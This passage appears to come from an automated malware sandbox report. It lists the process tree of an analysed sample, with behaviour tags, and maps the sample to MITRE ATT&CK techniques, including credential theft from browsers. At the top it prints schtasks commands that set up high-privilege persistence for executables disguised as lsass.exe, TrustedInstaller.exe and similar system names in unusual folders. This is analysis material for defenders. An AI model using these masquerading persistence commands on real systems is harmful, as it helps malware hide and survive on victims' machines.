- Scheduled Task/Job: Scheduled Task
PID:400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\agentComponentFontNet\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\agentComponentFontNet\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\agentComponentFontNet\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 9 /tr "'C:\agentComponentFontNet\TrustedInstaller.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\agentComponentFontNet\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 13 /tr "'C:\agentComponentFontNet\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShell" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6972

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3140

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:6392

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1896 -prefMapHandle 1888 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca866518-cd46-4b71-9d13-4654c595eef9} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" gpu
3⤵
PID:6696

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2420 -parentBuildID 20240401114208 -prefsHandle 2412 -prefMapHandle 2408 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a580688c-21eb-4a42-acf9-76b04f0d44e1} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" socket
3⤵
- Checks processor information in registry
PID:968

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3280 -childID 1 -isForBrowser -prefsHandle 3272 -prefMapHandle 3268 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {227b3b5a-9769-42d2-82c6-aaf1c93b82a4} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:1712

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3700 -childID 2 -isForBrowser -prefsHandle 3692 -prefMapHandle 3688 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64a83b9e-50d3-4e4e-a211-0eb3b8ad5577} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:5728

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4324 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4380 -prefMapHandle 4336 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {00dd2c91-0b11-4dd0-a7fb-153fdfb0eaf1} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" utility
3⤵
- Checks processor information in registry
PID:4640

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5300 -childID 3 -isForBrowser -prefsHandle 5292 -prefMapHandle 5288 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1add7f17-a727-49d2-a273-ddf5a1b1f578} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:3616

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5464 -childID 4 -isForBrowser -prefsHandle 5472 -prefMapHandle 5476 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb1f84f5-dcf4-49e2-b08b-e7868880c1df} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:2692

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5652 -childID 5 -isForBrowser -prefsHandle 5660 -prefMapHandle 5664 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f2024e70-4a61-4d4d-a65c-e50d19b60da7} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:3344

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6184 -childID 6 -isForBrowser -prefsHandle 6172 -prefMapHandle 6168 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b28b32d-db7b-4ede-b8da-bac60c3f1cad} 6392 "\\.\pipe\gecko-crash-server-pipe.6392" tab
3⤵
PID:6368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:7032

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd3833cc40,0x7ffd3833cc4c,0x7ffd3833cc58
2⤵
PID:6540

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1864,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1860 /prefetch:2
2⤵
PID:6800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2204,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2212 /prefetch:3
2⤵
PID:5156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2268,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2280 /prefetch:8
2⤵
PID:6488

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3120 /prefetch:1
2⤵
PID:5696

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3368,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3380 /prefetch:1
2⤵
PID:5772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4480,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3660 /prefetch:1
2⤵
PID:1728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4652,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4648 /prefetch:8
2⤵
PID:888

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4636,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4804 /prefetch:8
2⤵
PID:6276

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4620,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4952 /prefetch:8
2⤵
PID:4104

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5092,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5104 /prefetch:8
2⤵
PID:5140

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4976,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4980 /prefetch:8
2⤵
PID:6676

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4868,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5200 /prefetch:8
2⤵
PID:6012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4960,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4676 /prefetch:8
2⤵
PID:5112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5176,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4664 /prefetch:8
2⤵
PID:6944

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5116,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4920 /prefetch:8
2⤵
PID:5508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4704,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5084 /prefetch:8
2⤵
PID:5288

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5096,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4356 /prefetch:2
2⤵
PID:5400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=3112,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5652 /prefetch:1
2⤵
PID:6212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=3140,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3448 /prefetch:1
2⤵
PID:5292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=3460,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3144 /prefetch:1
2⤵
PID:1496

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=5656,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3284 /prefetch:1
2⤵
PID:7116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=3484,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5488 /prefetch:1
2⤵
PID:2760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=5744,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5812 /prefetch:1
2⤵
PID:5812

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=3244,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5712 /prefetch:1
2⤵
PID:6584

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=5728,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4872 /prefetch:1
2⤵
PID:2840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=5692,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4804 /prefetch:1
2⤵
PID:5168

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=5468,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4388 /prefetch:1
2⤵
PID:5308

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5132,i,7464359222630130101,7038844760020183408,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5160 /prefetch:8
2⤵
PID:6168

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:7144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery